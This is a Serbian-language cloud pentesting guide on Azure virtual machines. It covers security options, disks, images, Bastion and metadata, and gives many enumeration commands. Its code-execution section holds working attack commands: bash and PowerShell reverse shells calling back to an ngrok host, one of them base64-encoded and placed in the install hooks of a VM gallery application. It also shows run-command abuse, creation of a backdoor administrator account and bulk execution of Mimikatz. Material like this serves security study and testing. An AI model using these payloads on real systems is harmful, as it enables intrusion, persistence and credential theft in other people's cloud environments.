Azure mreže sadrže različite entitete i načine za konfiguraciju. Možete pronaći kratke opis, primere i komande za enumeraciju različitih Azure mrežnih entiteta u:
Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi mogu biti konfigurirani sa različitim CPU, memorijskim i skladišnim opcijama kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladištenje i alati za bezbednost.
Konfiguracije bezbednosti
Zoni dostupnosti: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja više zona na lokalne prekide ili katastrofe.
Tip bezbednosti:
Standardna bezbednost: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
Pouzdano pokretanje: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot i Virtual Trusted Platform Module (vTPM).
Poverljive VM-ove: Pored pouzdanog pokretanja, nudi hardversku izolaciju između VM-a, hipervizora i host menadžmenta, poboljšava enkripciju diska i više.
Autentifikacija: Podrazumevano se generiše nova SSH ključ, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je azureuser. Takođe je moguće konfigurisati korišćenje lozinke.
Enkripcija diska VM-a: Disk je podrazumevano enkriptovan kada je u mirovanju koristeći ključ koji upravlja platforma.
Takođe je moguće omogućiti Enkripciju na hostu, gde će podaci biti enkriptovani na hostu pre slanja u skladišnu uslugu, osiguravajući end-to-end enkripciju između hosta i skladišne usluge (docs).
NIC mrežna sigurnosna grupa:
Nema: U suštini otvara svaki port
Osnovna: Omogućava lako otvaranje ulaznih portova HTTP (80), HTTPS (443), SSH (22), RDP (3389)
Napredna: Izaberite sigurnosnu grupu
Backup: Moguće je omogućiti Standardni backup (jednom dnevno) i Poboljšani (više puta dnevno)
Opcije orkestracije zakrpa: Ovo omogućava automatsko primenjivanje zakrpa na VM-ovima prema odabranoj politici kao što je opisano u docs.
Upozorenja: Moguće je automatski dobijati upozorenja putem e-pošte ili mobilne aplikacije kada se nešto dogodi na VM-u. Podrazumevana pravila:
Procenat CPU-a je veći od 80%
Dostupna memorija u bajtovima je manja od 1GB
Procenat potrošnje IOPS podataka na diskovima je veći od 95%
Procenat potrošnje IOPS OS-a je veći od 95%
Ukupna mreža je veća od 500GB
Ukupna mreža izlaz je veća od 200GB
VmAvailabilityMetric je manji od 1
Monitor zdravlja: Podrazumevano proverava protokol HTTP na portu 80
Zaključavanja: Omogućava zaključavanje VM-a tako da može biti samo čitan (ReadOnly zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (CanNotDelete zaključavanje).
Većina resursa povezanih sa VM-ovima takođe podržava zaključavanja kao što su diskovi, snimci...
Zaključavanja se takođe mogu primeniti na nivoima grupe resursa i pretplate
Diskovi & snimci
Moguće je omogućiti povezivanje diska sa 2 ili više VM-ova
Podrazumevano je svaki disk enkriptovan sa ključem platforme.
Isto važi i za snimke
Podrazumevano je moguće deliti disk sa svih mreža, ali se može i ograničiti samo na određene privatne pristupe ili potpuno onemogućiti javni i privatni pristup.
Isto važi i za snimke
Moguće je generisati SAS URI (maksimalno 60 dana) za izvoz diska, koji se može konfigurisati da zahteva autentifikaciju ili ne
Isto važi i za snimke
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
# List all disksGet-AzDisk# Get info about a diskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName>
Slike, Galerijske slike i Tačke vraćanja
VM slika je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za kreiranje nove virtuelne mašine (VM). Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, tačka u vremenu kopija jednog upravljanog diska, koja se koristi prvenstveno za backup ili rešavanje problema, dok slika može sadržati više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova.
Slike se mogu upravljati u odeljku Slike u Azure-u ili unutar Azure compute galerija koje omogućavaju generisanje verzija i deljenje slike između različitih korisnika, pa čak i njeno postavljanje kao javnu.
Tačka vraćanja čuva konfiguraciju VM-a i tačku u vremenu aplikacijski konzistentne snimke svih upravljanih diskova povezanih sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
## List all galleries and get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName>
Azure Site Recovery
Iz dokumentacije: Site Recovery pomaže u obezbeđivanju kontinuiteta poslovanja tako što održava poslovne aplikacije i radne opterećenja u radu tokom prekida. Site Recovery replicira radna opterećenja koja se izvode na fizičkim i virtuelnim mašinama (VM) sa primarne lokacije na sekundarnu lokaciju. Kada dođe do prekida na vašoj primarnoj lokaciji, prebacujete se na sekundarnu lokaciju i pristupate aplikacijama odatle. Kada primarna lokacija ponovo počne da radi, možete se vratiti na nju.
Azure Bastion
Azure Bastion omogućava siguran i neometan Remote Desktop Protocol (RDP) i Secure Shell (SSH) pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što uklanja potrebu za javnim IP adresama na vašim VM-ovima.
Bastion postavlja podmrežu nazvanu AzureBastionSubnet sa /26 maskom u VNet-u na kojem treba da radi. Zatim omogućava povezivanje sa internim VM-ovima putem pregledača koristeći RDP i SSH, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao jump host.
Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ovima putem njih, možete koristiti sledeće komande:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
# List bastionsGet-AzBastion
Metapodaci
Azure Instance Metadata Service (IMDS) pruža informacije o aktivnim instancama virtuelnih mašina kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, obezbeđujući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi osigurali pravilnu komunikaciju.
Pored toga, da bi se kontaktirao krajnji tačka metapodataka, HTTP zahtev mora imati zaglavlje Metadata: true i ne sme imati zaglavlje X-Forwarded-For.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)# Disks## List all disks and get info about oneGet-AzDiskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName># Snapshots## List all galleries abd get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all snapshots and get info about oneGet-AzSnapshotGet-AzSnapshot-Name <SnapshotName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName># Bastion## List bastionsGet-AzBastion# Network## List all VNets in your subscriptionGet-AzVirtualNetwork## List VNet peering connections for a given VNet(Get-AzVirtualNetwork-ResourceGroupName <ResourceGroupName>-Name <VNetName>).VirtualNetworkPeerings## List Shared Resources (e.g., Azure Firewall) in the HubGet-AzFirewall## List VPN GatewaysGet-AzVirtualNetworkGateway-ResourceGroupName <ResourceGroupName>## List VPN ConnectionsGet-AzVirtualNetworkGatewayConnection-ResourceGroupName <ResourceGroupName>## List ExpressRoute CircuitsGet-AzExpressRouteCircuit# Misc## List all virtual machine scale setsGet-AzVmss## List all availability setsGet-AzAvailabilitySet## List all load balancersGet-AzLoadBalancer## List all storage accountsGet-AzStorageAccount## List all custom script extensions on a specific VMGet-AzVMExtension-VMName <VmName>-ResourceGroupName <ResourceGroupName>
Izvršavanje koda u VM-ovima
VM Ekstenzije
Azure VM ekstenzije su male aplikacije koje pružaju konfiguraciju nakon implementacije i automatizaciju zadataka na Azure virtuelnim mašinama (VM-ovima).
Ovo bi omogućilo izvršavanje proizvoljnog koda unutar VM-ova.
Potrebna dozvola je Microsoft.Compute/virtualMachines/extensions/write.
Moguće je nabrojati sve dostupne ekstenzije sa:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
# It takes some mins to runGet-AzVMExtensionImage-Location <Location>-PublisherName <PublisherName>-Type <Type>
Moguće je pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod:
Takođe možete izvršiti druge payload-ove kao što su: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Resetovanje lozinke koristeći VMAccess ekstenziju
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Relevant VM extensions
Zahtevana dozvola je još uvek Microsoft.Compute/virtualMachines/extensions/write.
VMAccess ekstenzija
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Ovo je VM ekstenzija koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za izvršavanje proizvoljnih komandi u Windows VMs putem ove ekstenzije:
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte uslugu Automatski nalozi.
VM Aplikacije
Ovo su paketi sa svim podacima o aplikaciji i skriptama za instalaciju i deinstalaciju koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema:
Moguće je deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
Ali ne postoji "marketplace" za vm aplikacije kao što postoji za ekstenzije.
Primer eksploatacije za izvršavanje proizvoljnih komandi:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Korisnički podaci
Ovo su perzistentni podaci koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer ako ovde stavite skriptu, ona se po defaultu ne izvršava.
Prilagođeni podaci
Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama:
U Windows prilagođeni podaci se smeštaju u %SYSTEMDRIVE%\AzureData\CustomData.bin kao binarni fajl i ne obrađuju se.
U Linux su se čuvali u /var/lib/waagent/ovf-env.xml, a sada se čuvaju u /var/lib/waagent/CustomData/ovf-env.xml
Linux agent: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućenim podacima
cloud-init: Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u several formats. Može lako izvršiti skriptu jednostavno šaljući samo skriptu u prilagođenim podacima.
Pokušao sam da i Ubuntu i Debian izvrše skriptu koju stavite ovde.
Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Pokreni Komandu
Ovo je najosnovniji mehanizam koji Azure pruža za izvršavanje proizvoljnih komandi u VMs. Potrebna dozvola je Microsoft.Compute/virtualMachines/runCommand/action.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt